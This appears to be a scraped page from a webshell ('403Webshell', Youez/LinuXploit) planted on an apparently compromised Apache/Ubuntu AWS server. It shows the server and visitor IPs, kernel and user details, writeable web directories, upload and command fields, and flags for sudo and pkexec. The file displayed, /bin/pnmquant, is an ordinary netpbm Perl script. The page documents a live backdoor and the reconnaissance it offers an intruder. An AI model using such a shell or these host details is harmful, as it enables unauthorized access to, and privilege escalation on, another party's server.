403Webshell
Server IP : 3.128.248.115  /  Your IP : 18.116.85.108
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ip-172-31-33-233 5.15.0-1037-aws #41~20.04.1-Ubuntu SMP Mon May 22 18:18:00 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.28
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin/pnmquant
#!/usr/bin/perl -w

# Written by Bryan Henderson
# Contributed to the public domain.


use strict;
use English;
use Getopt::Long;
use File::Temp "tempfile";
use File::Spec;
use File::Copy;
use Fcntl ":seek";

my ($TRUE, $FALSE) = (1,0);

my ($opt_center, $opt_meancolor, $opt_meanpixel, $opt_floyd,
    $opt_spreadbrightness, $opt_spreadluminosity, $opt_mapfile);

my $result = GetOptions(
                        "center" => \$opt_center,
                        "meancolor" => \$opt_meancolor,
                        "meanpixel" => \$opt_meanpixel,
                        "spreadbrightness" => \$opt_spreadbrightness,
                        "spreadluminosity" => \$opt_spreadluminosity,
                        "floyd|fs!" => \$opt_floyd,
                        );

if (@ARGV > 2) {
    print(STDERR "This program takes at most 2 arguments.  You specified ",
          0+@ARGV, "\n");
    exit(1);
} 
if (@ARGV < 1) {
    print(STDERR "You must specify the number of colors as an argument.\n");
    exit(1);
}
my $infile;
my $ncolors = $ARGV[0];

if (@ARGV > 1) {
    $infile = $ARGV[1];
} else {
    $infile = "-";
}

my $averageOpt;
if (defined($opt_meanpixel)) {
    $averageOpt = "-meanpixel";
} elsif (defined($opt_meancolor)) {
    $averageOpt = "-meancolor";
} else {
    $averageOpt = "-center";
}

my $spreadOpt;
if (defined($opt_spreadluminosity)) {
    $spreadOpt = "-spreadluminosity";
} else {
    $spreadOpt = "-spreadbrightness";
}

my ($mapfileFh, $mapfileSpec) = tempfile("pnmquantMapXXXX", 
                                         SUFFIX => ".pnm",
                                         UNLINK => $TRUE,
                                         DIR => File::Spec->tmpdir());

# We'd like just to connect the file handle $mapfileFh to STDOUT, but
# we can't figure out the Perl incantation to make that happen.
# close($mapfileFh);

open(OLDOUT, ">&STDOUT");
select(OLDOUT);  # avoids Perl bug where it says we never use STDOUT 
open(STDOUT, ">", $mapfileSpec);

&inputSTDIN($infile);

my $maprc = system("pnmcolormap", $ncolors, $averageOpt, $spreadOpt);
open(STDOUT, ">&OLDOUT");

seek(STDIN, 0, SEEK_SET);

if ($maprc != 0) {
    print(STDERR "pnmcolormap failed, rc=$maprc\n");
    exit(1);
} else {
    my $floydOpt = $opt_floyd ? "-floyd" : "-nofloyd";

    my $remaprc = system("pnmremap", 
                         "-mapfile=$mapfileSpec", $floydOpt);

    if ($remaprc != 0) {
        print(STDERR "pnmremap failed, rc=$remaprc\n");
        exit(1);
    }
}


sub inputSTDIN {
	my $inputfile = shift;

	if ($inputfile eq "-") {
		unless (seek(STDIN, 0, SEEK_SET)) {
			my ($fileFh, $fileSpec) = tempfile("pnmquantSTDINXXXX",
			             		                SUFFIX => ".pnm",
					 							UNLINK => $TRUE,
												DIR => File::Spec->tmpdir());
			while (<STDIN>) {
				print($fileFh $_);
			}
		
			unless (seek($fileFh, 0, SEEK_SET)) {
				print(STDERR "pnmquant failed, seek of temporary input file failed! Errno = $ERRNO\n");
				exit(1);
			}
			
			*FILEFH = *$fileFh;
			open(STDIN, "<&FILEFH");
			tell(FILEFH);
		}
	}
	else {
		unless (open(STDIN, "<", $inputfile)) {
			print(STDERR "pnmremap failed, can't open $inputfile: $!\n");
			exit(1);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit